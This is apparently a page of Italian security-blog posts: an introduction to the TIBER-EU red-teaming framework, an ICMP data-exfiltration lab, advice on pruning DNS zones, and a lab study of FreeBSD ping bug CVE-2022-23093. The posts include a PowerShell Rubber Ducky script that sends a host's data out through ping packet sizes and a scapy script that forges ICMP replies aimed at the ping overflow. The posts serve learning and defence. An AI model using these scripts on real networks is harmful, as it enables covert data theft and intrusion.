cyber security, podcast

TIBER-*: intro

Il mondo dell’information security ha con il tempo sviluppato modelli e framework per strutturare molti processi di gestione del rischio cyber. Alcuni sono diventati un punto di riferimento assoluto (vedi NIST o ISO 27001/27002, lascio qui il link una lista con qualche descrizione utile) e spesso vengono adottati anche solo parzialmente o vengo utilizzati come “fonte di ispirazione” dei temi che si occupano della gestione della sicurezza delle informazioni e dei sistemi.

TIBER, che per la cronaca è l’acronimo di Threat Intelligence Based Ethical Red-Teaming, è un altro framework che la ECB (European Central Bank) – che in Italia amiamo tradurre con Banca Centrale Europea o BCE – ha abottado con lo scopo di fornire uno strumento di testing e miglioramento dealla resilienza cybernetica tramite l’esecuzione di simulazioni di attacco. Semplificando all’estremo utilizzo una della mie frasi tipiche: per far saltar fuori il problema devi mettere alla prova l’intera struttura a sollecitazioni reali.

In un certo senso ci stiamo dicendo che i Vulnerability Assessment ed i Penetration Test restano utili e necessari ma non bastano più. O meglio, questa è la conclusione a cui sono giunti gli ideatori del modello qualche anno fa, chi lavora nel settore ne è ben conscio da molto più tempo.

Con questo post vorrei iniziare a raccontare il contenuto del framework “TIBER-EU” e della relativa “Guida Nazionale TIBER-IT” e forse anche qualche elemento della versione tedesca “TIBER-DE”. Inizierei dalla documentazione disponibile e dai cui io stesso ho iniziato, qualche tempo fa, lo studio di questo framework.

documentazione di riferimento

Sul sito della ECB è disponibile una intro al framework con alcune F.A.Q. ma i primi veri documento da prendere in considerazione sono:

Questi documenti danno una buona panoramica del modello a cui è da aggiungere un documento relativo alle Purple Team Best Practice.

Direi che per iniziare è sufficiente questo. Partiremo quindi da come è strutturato il framework per poi andare a vedere nel dettaglio come è stato implementato per l’Italia e, visto che lavorativamente è probabile che che mi capiti, per la Germania. Guarderemo quindi rispettivamente la documentazione relativa alla TIBET-IT ed alla TIBER-DE.

Ai principali documenti citati se ne aggiungo molti alti di approfondimento (alcuni sono citati nello schema allegato) che prenderemo in considerazione strada facendo. Pronti?

Gli obiettivi del framework

Di base la volontà è di fornire un metodo standard e di validità europea agli enti finanziari (ma il modello è estendibile a chiunque) per verificare le capacità di individuazione e gestione delle minacce cyber tramite l’implementazione di security test condotti in modo da simulare scenari di attacco reali. A tal proposito si fa riferimento a due concessi chiave che il framework integra: la Threat Intelligence ed il Red Teaming.

Un framework comune consentirebbe agli enti di utilizzare metriche simili per valutare e riconoscere il livello di resilienza cyber delle varie entità, semplificando le verifiche tra enti di differenti stati e riducendo gli oneri burocratici che deriverebbero dall’utilizzo di modelli divverenti all’interno dell’EU.

Pur proponendo un modello comune il framework consente ai singoli stati/giurisdizioni una certa flessibilità nell’implementazione del modello TIBER. In questo momento gli stati che hanno adottato il framework sono: Belgio, Danimarca, Finlandia, Germania, Irlanda, Italia, Lussenburgo, Olanda, Norvegia, Portogallo, Romania, Spagna e Svezia. Di fatto esistono enti che non operano sul territorio di un singolo stato, anche in questo caso un framework comune aiuterà i grandi gruppi ad implementare test coerenti nonostante il contesto internazionale.

Cosa cambia rispetto alle metodologie già adottate?

La principale evoluzione sta nel prevedere un modello di testing che, a livello europeo, preveda di eseguire delle simulazioni di attacco realistiche i cui esiti, opportunamente descritti nei report, saranno utilizzati per valutare la postura di sicurezza dell’ente. Le attività di Red Teaming non si limitano alla verifica ed allo sfruttamento di una o più falle: vengono eseguite approfondite ricerche sul target per valutare la strategia e le tecniche da utilizzare per l’attacco che potrebbe essere eseguito non solo a livello “digitale”. Il Red Team prende in considerazione anche la possibilità di accedere alle infrastruttura fisicamente ed utilizza tecniche di social engineering per ingannare, se possibile, i membri dell’organizzazione target.

Questa tipologia di test permette di prendere in considerazione molti più aspetti dell’organizzazione in merito alla gestione delle minacce informatiche: competenze, processi, consapevolezza, status dei servizi di detection e prevention, ecc.

Perché ho deciso di scrivere/parlare di questo framework

Mi occupo di sicurezza informatica e molto spesso proprio di Red Teaming, l’argomento è quindi per me molto in focus con ciò che faccio e che già da anni ho decido di condividere tramite il mio personale blog. TIBER porta all’ettenzione delle aziende strutturate un modello e delle metodologie di security test che per molte figure del settore rappresentano al momento l’unico modo per quantificare in modo accurato il rischio cyber e gli impatti correlati a specifici scenari di attacco.

L’argomento forse non è affascianante come un Buffer Overflow ma mi da modo di approfondire e discutere molti aspetti della sicurezza offensiva.

cyber security, hacking

ICMP infostealing: il lab [prima parte]

Prima una premessa.

Sul piano operativo l’esecuzione di un attacco informatico che ha come obiettivo il furto di dati (Data Breach) diventa più efficace in proporzione alla quantità di informazioni relative al target di cui si può disporre. Alcune di queste informazioni posso essere raccolte grazie a tecniche come OSInt e Social Engeneering, altre possono essere trafugate direttamente dal target tramite delle azioni di ricognizione o attacchi meno rumorosi e progettati con il solo fine di raccogliere maggiorni informazioni sul target.

In questo contesto la possibilità di fare info stealing sul target diventa particolarmente appetibile: l’attacker potrebbe progettare azioni estremamente mirate utilizzando tecniche di data exfiltration per appropriarsi di pochi ma importanti dati da utilizzare in fasi successive dell’attacco.

Come sempre un esempio vale mille parole, ho quindi iniziato a lavorare su un lab per studiare meglio la tecnica. La sintesi di questo piccolo esperimento andrà a comporre un paper dedicato al tema.

Scenario

Partiamo da un obiettivo semplice e concreto: estrarre informazioni dall’interno della rete target avendo la possibilità di accedere fisicamente ad un dispositivo della rete ma per un tempo limitato. I vincoli sono gli stessi che avrebbe un threat actor: ammesso che gli sia possibile accedere ai locali ed arrivare in prossimità di un sistema connesso alla rete (una workstation ad esempio) probabilmente avrà a disposizione relativamente poco tempo per eseguire delle operazioni.

Uno strumento comodo per questo scenario potrebbe essere una Rubber Ducky da collegare per pochi secondo alla macchina target. In questo caso avremmo la possibilità di eseguire qualche comando, limitatamente al tempo a disposizione, per inviarci un po’ di informazioni.

Ovviamente le informazioni dobbiamo mandarle verso un sistema che siamo in grado di governare. In base al metodo di invio delle informazioni dovremo quindi predisporre un server che riceva i dati e ci permetta di visualizzare quanto raccolto.

ipotesi di scenario

Per il nostro lab. ho scelto come “canale” ICMP. E’ una spece di sfida personale: in condizioni operative (parliamo quindi di Red Teaming o attività relative a Pen Testing) utilizzo canali un po’ più usabili ma mi sono sempre chiesto fino a quanto potevo spingermi con ICMP. Il nostro server dovrà quindi ricevere pacchetti ICMP e per l’occasione utillizzerò il collaudatissimo scapy. Avremo quindi un piccolo python script che riceverà le sequenze ICMP e ricomporrà il messaggio.

La parte della costruzione del messaggio e della sua ricomposizione è l’unica che presenta una reale complessità (se così si può dire) in quanto va aggirato il fatto che il comando PING in ambienti Microsoft non consente di inserire un messaggio o un testo nel payload. L’unica variazione che possiamo permetterci è la dimensione del buffer.

L’idea è quindi quella di far corrispondere ad ogni carattere dell’output del comando un valore decimale che rappresenti il corrispettivo “DECIMALE” del carattere. Quindi il messaggio “AAAA” dovrà produrre quattro ping con dimensione del buffer 65 byte. Lo script che riceve i quattro ping dovrà prendere la seguenza di byte e ricomporla a formare il messaggio.

Aggiungiamo un po’ di complessità: non mi piace particolarmente mandare il messaggio completamente in chiaro. Potrebbe essere relativamente semplice da “leggere”. Prima di inviarlo eseguiamo un encode in base64 e di conseguenza inviaremo i caratteri della stringa dopo l’encode. Per una demo va più che bene, in un contesto reale potremmo valutare una vera e propria cifratura, il convetto di base è lo stesso.

Demo

Il codice della p-o-c è disponibile nella mia repo e fa parte delle dimostrazioni in ambito C2. L’ho chiamata ping.pong: https://github.com/roccosicilia/my-papers/tree/main/poc-c2/ping.pong.

La demo di compone essenzialmente di due script:

  • pingpong.py è il server ICMP che cattura (usa effetticamente la chiamata sniff) i pacchetti ICMP in ingresso e salva lo stream del messaggio in un file txt
  • readpong.py è uno script che ho voluto tenere separato ricomporre il messaggio in arrivo e presentarlo in modo leggibile

A questi due script si aggiungono i comandi per la Rubber Ducky. Qui spazio alla fantasia, vi lascio comunque una possibile sequenza in formato ps1:

# target host
$ip = "192.168.1.2"
# data to exfil
$MYDATA = $("hostname")

# encode
$base64String = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($MYDATA))
Write-Output $base64String

# reset ping
ping -l 1 -n 1 $ip

# send message by ping
for ($i=0; $i -le $base64String.Length; $i++)
{
    $x = [int[]][char[]]$base64String[$i]
    ping -l $x -n 1 $ip
    Start-Sleep -Milliseconds 500
}

Un piccolo video dimostrativo:


L’argomento, nonostante sia tecnicamente semplice, ha richiesto un po’ di studio e test che ho in parte fatto live sul canale Twitch. Sto preparando una sintesi delle sessioni live e questa sera (27 aprile 2023) ci sarà una nuova sessione dedicata ai progressi ottenuti ed a qualche nuovo test.

cyber security, hacking

Prendetevi cura della vostra zona DNS

Per vari motivi sto riprendendo in mano varie tecniche di “ricognizione” nei confronti di un potenziale target ed è sorprendente quante informazioni vengano lasciate a disposizione di chiunque per banale mancanza di manutenzione.

Oggi è stato il turno delle zone DNS, elemento interessante per un’attacker in quanto avere a disposizione un elenco di domain e subdomain rappresenta un ottimo punto di partenza per comprendere parte del perimetro del target.

Facciamo una prova? Da una kali potete utilizzare uno dei tanti tools di enumeration:

-- amass enum -passive -d roccosicilia.com

Otterrete l’elenco di ciò che è configurato a livello di zona per il dominio indicato. Il mio dominio ha ovviamente poco essendo utilizzato esclusivamente per questo blog, ma se fate la prova sul vostro dominio corporate sono abbastanza certo che il risultato sarà più interessante.

Possono sembrare informazioni assolutamente innocenti, dopo tutto questi record sono stati creati appositamente per essere utilizzabili dagli utenti che desiderano accedere ad un sistema. Il problema infatti non si riferisce a ciò che è in uso dall’organizzazione ma a ciò che è in uso solo internamente o non più utilizzato e dimenticato.

Non è raro trovare subdomain che si riferiscono a sistemi di test – spesso dimenticati – o a sistemi in una fase di staging che espongono elementi di debugging dell’applicazione (trovati tantissimi in queste condizioni). Arricchendo un po’ il risultato si possono ottenere informazioni aggiuntive sui provider in uso per i vari domini così da mappare qualche fornitore o collaboratore. Aggregando un po’ di dati pubblici il risultato diventa parecchio interessante.

un mio test di aggregazione dati (script sul mio GitHub)

Un altro elemento da non sottovalutare è la tendenza, non diffusissima, a dare un nome dominio pubblico ad asset infrastrutturali come alcuni elementi di perimetro: il firewall, i router del provider o i proprio BGP router. Sono elementi che un attacker potrebbe individuare in molti modi più o meno complessi, se gli viene assegnato un record DNS ovviamente è un po’ più facile.

La pratica di per se non è una cattiva idea, personalmente la trovo utile dal punto di vista della gestione IT ma potrebbe essere fatto su un nome dominio “di servizio” così da evitare di rendere questi asset immediatamente individuabili. Lo stesso principio vale per i sistemi non in esercizio: perché pubblicare le informazioni sulla zona dove ci sono i record dei servizi attivi quando possiamo parcheggiarli in una zona di servizio sconosciuta. Ovviamente questo accorgimento non renderà questi host invisibili, sarà però necessaria qualche azione in più per identificarli ed associarli al perimetro del target.

Nella mia repo GitHub ho messo a disposizione uno script che sto sistemando per aggregare dati provenienti da diverse fonti pubbliche, utile per chi lavora in ambito Penetration Testing e Red Teaming ma altrettanto utile per chi vuole farsi un veloce self-check: https://github.com/roccosicilia/my-papers/blob/main/poc-recon/SubDomainDiscovery.py. Lo script è in continua evoluzione quindi occhio alle note in cima.

Qualche suggerimento per ridurre il perimetro osservabile:

  • banalmente pulite i record non più in uso, il DNS è un asset e va gestito come qualsiasi altro asset dell’organizzazione;
  • utilizzate zone di servizio per scopi infrastrutturali;
  • valutate cosa potete mettere dietro ad un proxy o ad un WAF in cloud;

Il principio è quello del tenere visibile solo lo stretto necessario evitando di regalare qualche appiglio a chi utilizzerebbe queste informazioni per affinare una strategia di attacco.

cyber security, hacking

Studio della vuln. CVE-2022-23093 [seconda parte]

Come promesso torno sulla CVE con gli esiti dei test che ho fatto: mi ero ripromesso di dedicarci una paio di sessioni e così ho fatto.

Rimanendo praticamente sullo stesso “impianto” di laboratorio presentato nella prima parte ho fatto diverse prove di formattazione di una risposta ICMP il cui contenuto fosse modificato. In particolare ho mantenuto la linea della risposta “Destination Unreachable” inizialmente modificando il payload nella risposta e successivamente formattando una risposta “pulita” ma inserendo nel messaggio di origine un contenuto arbitrario (la solita stringa “AAAA…”).

Per l’invio del ping “modificato” ho utilizzato il seguente comando:

-- ping -c 1 -s 1016 -p "41414141" 1.3.3.7

Non ho ottenuto particolari risultati con scapy ne con l’opzione -p di ping: la risposta veniva correttamente inviata alla macchina FreeBSD e la funzione pr_pack() veniva effettivamente chiamata, ma non sono riuscito ad ottenere comportamenti anomali.

debugging di ping.c

A differenza di quanto ottenuto in un altri contesti (rif. al mio precedente post) la dimensione di hlen in questo scenario resta di 20 bytes. Evidentemente, nonostante l’errore generato mi sembri corretto, non si verificano le condizioni per cui il programma va a ricostruire il pacchetto utilizzando i dati “raw” del pacchetto che ha generato l’errore.

Nel frattempo mi sono ricordato di un check che avrei duvoto fare all’inizio del test: ho appurato che di default ping.c viene compilato con le opzioni di protezione dello stack attive, ne possiamo desumere che la sfruttabilità dell’overflow è quindi molto bassa.

verifica della presenza della protezione dello stack

Una ultima prova che potrebbe aver senso fare (lo ho scritto poco fa anche sul canale telegram) è tentare un fuzzing con scapy, ovviamente dopo aver ricompilato ping.c con le protezioni dello stack disabilitate.

Io mi fermo qui 😉

hacking

Studio della vuln. CVE-2022-23093 [prima parte]

Qualche giorno fa, durante una live, mi e’ stata ricordata la CVE in oggetto che interessa i sistemi FreeBSD e su cui avevo un po’ riflettuto a livello di potenziale offensivo. La CVE mi era tornata alla mente anche a seguito di una recente vulnerabilita’ che ha interessato l’implementazione di ICMP sui sistemi Microsoft (CVE-2023-23415). Le due vulnerabilita’ sono molto diverse tra loro: lato FreeBSD e’ l’utility “ping” a presentare la falla mentre lato Windows il problema sembra essere relativo ad una funzione della componente ICMP. Mi e’ venuta voglia di approfondire per capire meglio di cosa si tratta: analizzare e studiare le CVE e’, a mio parere, un ottimo esercizio in ambito cyber sec. E poi come resistere al fascino di uno stack overflow 🙂

Al di la della tipologia di vulnerabilita’, di per se interessante, vi e’ un altro elemento piu’ strategico che interessa il bug: FreeBSD, pur avendo un livello di diffusione non elevato, e’ alla base di molte appliance di vario tipo tra cui Firewall e Storage System come il mitico NetApp. Questo rende la vulnerabilita’ ancora piu’ interessante.

Preparazione del lab

Prima cosa da fare e’ documentarsi per valutare come riprodurre un ambiente vulnerabile su cui eseguire i test. L’advisory di FreeBSD stessa espone le versioni a cui a novembre e’ stata applicata la patch:

  • 2022-11-29 stable/13, 13.1-STABLE)
  • 2022-11-29 releng/13.1, 13.1-RELEASE-p5)
  • 2022-11-29 stable/12, 12.4-STABLE)
  • 2022-11-29 releng/12.4, 12.4-RC2-p2)
  • 2022-11-29 releng/12.3, 12.3-RELEASE-p10)

Un primo test lo ho condotto su una FreeBSD 11.4 con ultimo aggiornamento (della ISO) il 12 giugno 2020, teoricamente e’ quindi presente la vulnerabilita’. Purtroppo ho riscontrato diversi fastidi dovuti all’assenza delle repository. Versione troppo datata.

Ho ripiegato sulla release 12.2. In questo periodo il mio home-lab e’ un po’ sottosopra a causa di vari cambi di architettura, ad ogni modo ho preparato una VM amd64 su una installazione di Oracle VirtualBox.

Trovate le ISO qui: http://ftp-archive.freebsd.org/pub/FreeBSD-Archive/old-releases/amd64/.

installazione di freebsd

Una volta installata la macchina mi sono limitato a configurare l’accesso SSH per root ed installare il debugger gdb.

Avere a disposizione la macchina ci consente inoltre di scaricare i sorgenti dell’utility che presenta la vulnerabilita’: possiamo scaricarci integralmente la repository della distibuzione.

root@freebsd-12:~ # svnlite checkout https://svn.freebsd.org/base/releng/12.2 /usr/src

Una volta ottenuto il sorgente possiamo verificare nel path /usr/src/sbin/ping/ la presenza dei sorgenti di notro interesse:

ping.c

Ora che abbiamo la nostra base possiamo dedicarci un po’ allo studio della vulnerabilita’ partendo dalla documentazione a disposizione e da quanto reperibile in rete.

Raccolta delle informazione

L’advisory in oggetto e’ stata pubblicato il 29 novembre 2022, quindi quattro mesi fa rispetto alla pubblicazione di questo post. Nell’analisi partiamo proprio da questo documento disponibile qui: https://www.freebsd.org/security/advisories/FreeBSD-SA-22:15.ping.asc.

Al punto II troviamo la descrizione dell’errore che provo qui a sintetizzare. Il programma ping riceve e legge i pacchetti per elaborare la risposta tramite la funzione pr_pack(). Per eseguire questa elaborazione viene ricostruito il dato utilizzando l’IP header, l’ICMP header e, in caso di ICMP error, il QUOTED PACKET che ha generato l’errore. Visto che abbiamo a disposizione il sorgente del programma ping.c possiamo dare un occhio alla funzione per capire meglio di cosa si tratta.

La funzione la si puo’ trovare alla linea 1118 del sorgente di ping.c (sempre con riferimento alla versione 12.2 di FreeBSD) e da qui possiamo iniziare ad analizzare il comportamento del codice.

Partiamo dalle variabili che arrivano alla funzione:

pr_pack(char *buf, ssize_t cc, struct sockaddr_in *from, struct timespec *tv)

dove troviamo:

  • il buffer buf che contiene il pacchetto IP ricevuto in rispota dal comando ping
  • la lunghessa cc del pacchetto
  • l’indirizzo IP from della macchina che ha inviato il pacchetto
  • il tempo tv di arrivo del pacchetto

Subito dopo la dichiarazione delle variabili della funzione troviamo una porzione di codice che la patch va a modificare in parte:

1140         memcpy(&l, buf, sizeof(l));
1141         hlen = (l & 0x0f) << 2;
1142         memcpy(&ip, buf, hlen);

In parole povere il contenuto di buf, contenente il pacchetto IP ricevuto in risposta dal comando ping, viene copiato nella variabile l, viene poi calcolata la lunghezza hlen dell’IP header e quindi copiati hlen byte di buf nella variabile IP.

Come si vede meglio dalle modifiche della patch rilasciata il problema si annida proprio in questa ultima memcpy: se il contenuto del pacchetto IP in risposta fosse opportunamente modificato e’ teoricamente possibile utilizzare la lunghezza dei dati inseriti in buf per ottenere un overflow. L’attacker dovrebbe prima intercettare le richiesta ICPM (un ping dalla macchina target) e rispondere con un errore opportunamente modificato. Non impossibile ma decisamente non semplice.

Ho trovato molto utile quanto riportato in post di archcloudlabs.com dove viene proposto di modificare, utilizzando un debuger, il contenuto delle variabili per ottenere “artificialmente” l’overflow del buffer. Ho trovato il test molto interessante e utile da replicare.

Predisposizione debug del comportamento della funzione

Per poter eseguire il debug del nostro binary dobbiamo necessariamente ricompilare l’eseguibile con gli opportuni flag e anvendo i sorgenti a disposizione non si tratta di una operazione complessa.

opzione -g aggiunta nel MakeFile di ping.c

Se tutto in ordine con due comandi facili (make, make install) dovremmo ottenere in nostro nuovo binary di ping.

Il passo successivo e’ fare in modo di ottenere una risposta da noi gestibile, nel post citato precedentemente si fa riferimento ad uno script in scapy ed e’ proprio quello che avrei fatto anche io, ne abbiamo parlato priprio nella live del 31 marzo… scapy mi piace sempre di piu’.

Qui la prima versione dello script che si occupa di intercettare il pacchetto ICMP e rispondere con un pacchetto da noi opportunamente generato:

#!/usr/bin/env python
from scapy.all import *

def reply_ping(packet):
    if packet.haslayer(ICMP) and packet[ICMP].type == 8:
        eth = packet[Ether]
        ip = packet[IP]
        icmp = packet[ICMP]

        payload = [
		b'\x86\x28',
		b'\x41'*20
	]
        payload = b''.join(payload)


        reply = Ether(src=eth.dst, dst=eth.src)/IP(src=ip.dst, dst=ip.src, ihl=6, options=IPOption(payload))/ICMP(type=3, code=0)/icmp[ICMP].payload
        sendp(reply, iface='eth0')

        print('Invio risposta ICMP ping')

sniff(filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)

Dovrei in questo modo ottenere una risposta type=3 (Destination Unreachable) con la possibilita’ di manipolare il contenuto di IPOption, ovvero la parte di dati che, a quanto ho compreso dal codice di ping.c a dall’advisory, dovrebbe essere passata al buffer che presenta la vulnerabilita’.

Per garantirci una buona visibilita’ su cio’ che sta accadendo e’ comodo predisporre lo script su una macchina dove possiamo disporre anche di Wireshark. Nel mio lab ho utilizzato come macchina di destinazione una semplice kali che simulera’ la macchina dell’attacker in questo contesto.

lo script in ascolto

Lato Wireshark e’ sufficiente filtrare i pacchetti ICMP in arrivo sulla NIC della macchina, visto che saremo solo noi ad eseguire dei ping verso il sistema non avremo problemi ad identificare i pacchetti di nostro interesse.

Rispetto ad un normale ping quello che dobbiamo ottenere e’ una risposta che contenga il nostro payload. Il primo esperimento, tutto da perfezionare, ha ottenuto quanto segue:

cattura del pacchetto modificato

Il payload e’ presente nel pacchetto ma evidentemente la risposta richiede qualche ritocco. Nei prossimi giorni lavorero’ in modo specifico sulla rispsta dalla richiesta ICMP ed al debug del codice di ping.c ricompilato cosi’ da verificare anche cosa avviene a livello di sistema.

La live sul mio canale Twitch di venerdi’ 7 aprile riprende questo piccola lab e si procede con le analisi della vulnerabilita’. Nel prossimo post riportero’ le evoluzioni.